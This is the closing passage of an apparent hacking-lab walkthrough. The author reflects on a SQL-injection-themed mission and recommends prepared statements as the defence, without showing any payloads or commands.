After submitting the value you will have completed the mission. This is by far one of the best missions I’ve come across doing labs. It’s an easy lab but the theme of it is brilliant, who wouldn’t love to hack Nazis. It also uses a practical exploit which is still common in the wild. Injection attacks were number 1 on the OWASP top ten up until recently. The lesson that can be learned from this is to use prepared statements when your web application needs to query a SQL server.